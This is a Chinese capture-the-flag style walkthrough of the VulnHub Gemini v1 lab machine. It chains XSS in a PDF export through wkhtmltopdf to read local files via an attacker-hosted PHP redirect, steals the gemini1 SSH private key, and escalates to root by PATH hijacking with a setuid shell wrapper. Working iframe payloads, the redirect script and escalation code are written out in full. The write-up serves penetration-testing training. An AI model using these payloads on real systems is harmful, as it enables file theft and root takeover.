VulnHub-GeminiV1

前言

  这是打靶训练的第21周,难度高,靶机下载

信息搜集

  nmap扫描结果

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.25

  打开首页,发现是用开源的github搭建的
  
  在install.php,第149行,找到默认用户名:admin,密码:1234
  
  登录成功后,编辑admin的数据,尝试在名称进行xss
  
  确实存在xss漏洞
  

wkhtmltopdf

  只有一个xss没有任何的用处,继续挖掘,点击actions中的Export profile按钮
  
  查看pdf文件属性,在应用栏有个wkhtmltopdf
  
  wkhtmltopdf是一个将html转成pdf的工具,尝试搜索是否有exp,找到了一篇SSRF-to-LFI。文章作者详细写了如何利用wkhtmltopdf的xss再到文件包含漏洞。

  根据作者的描述进行复现,先在kali上开启apache服务。将<?php header('location:file://'.$_REQUEST['url']); ?>内容写入进a.php
  
  在名称栏处,再次构造xss poc,<iframe height="2000" width="800" src="http://10.16.122.17/a.php?url=/etc/passwd"></iframe>
  成功复现,从/etc/passwd,得出存在gemini1用户
  
  查看是否存在id_rsa,poc:<iframe height="2000" width="800" src="http://10.16.122.17/a.php?url=/home/gemini1/.ssh/id_rsa"></iframe>
  
  来到kali,将上面的私钥内容写进id_rsachmod 400 id_rsa后,直接免密登录ssh -i id_rsa gemini1@10.16.122.39
  

提权

  尝试使用sudo命令,需要输入密码。那就用find命令,来查看下find / -user root -type f -perm -u+sx -ls 2>/dev/null
  
  可以使用pkexec提权
  
  第二种方法,仔细观察有一个从未见过的listinfo命令,使用后
  
  功能跟查看网卡差不多,继续查看strings /usr/bin/listinfo
  
  可看到核心就是调用了这三条命令,只有date命令没有写出绝对路径,使用环境变量劫持提权

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main()
{
	setuid(0);
	setgid(0);
	system("/bin/bash");
}

  将上面代码保存为date.c后

gcc date.c -o date	# 编译date.c
export PATH=/home/gemini1:$PATH # 添加环境变量
listinfo

  

查看评论 -
评论